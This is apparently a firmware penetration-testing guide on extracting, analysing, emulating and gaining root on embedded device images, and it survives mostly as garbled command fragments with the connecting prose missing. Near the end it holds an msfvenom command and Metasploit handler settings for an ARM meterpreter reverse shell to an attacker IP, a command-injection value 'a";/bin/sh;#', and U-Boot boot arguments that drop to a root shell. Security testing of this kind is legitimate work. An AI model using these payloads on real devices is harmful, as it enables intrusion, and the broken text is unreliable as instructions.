*Note: Ensure to follow local laws and regulations when downloading data from exposed cloud provider storage services.
$ binwalk -E <bin>
$ binwalk -ev <bin>
_binaryname/filesystemtype/
"$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
$ unsquashfs dir.squashfs
squashfs-root
" directory afterwards.$ cpio -ivd --no-absolute-filenames -F <bin>
$ jefferson rootfsfile.jffs2
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
$ readelf -aW bin/*| grep stack_chk_fail
$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail
$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'
$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'
$ readelf -d <bin> | grep -q 'DEBUG'
$ readelf --syms <bin>
$ nm <bin>
-el
specifies little-endian characters 16-bits wide (e.g. UTF-16).-eb
for big endian-t
flag will return the offset of the string within the file.-tx
will return it in hex format, T-to in octal and -td
in decimal.strings -n5 <bin>
strings -el <bin>
strings -n16 <bin>
strings -tx <bin>
$ readelf -lW bin/<bin>| grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
$ readelf -d binary | grep BIND_NOW
$ readelf -d binary | grep GNU_RELRO
-d
switch with the installer to run a typical installation. This will install needed dependencies (e.g. cve-search) on the host and will download the EMBA docker image. We recommend using this for the initial installation../emba.sh -h
-t
parameter), this output will be garbled and not very easy to read. For further analysis it is recommend to use the generated text based log files in the log directory and the web report (-W
parameter). After finishing the firmware scan, EMBA shows a summary of the results in the terminal:/usr/bin/shellback
/usr/local/qemu-arch
or /usr/bin/qemu-arch
$ sudo chroot . ./qemu-arch <binarytoemulate>
init=/bin/sh
' at the end of boot arguments#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh
#saveenv
#boot
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
ubootwrite.py
to write the uboot-image and push a modified firmware to gain rootFILENAME
’ parameter with command injection commands such as ‘a";/bin/sh;#’
to test input validation for device startup procedures.msfvenom
to specify the appropriate target payload (-p), attacker host IP (LHOST=), listening port number (LPORT=) filetype (-f), architecture (--arch), platform (--platform linux or windows), and the output file (-o). For example, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #attacker host IP
set LPORT 445 #can be any unused port
set ExitOnSession false
exploit -j -z
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>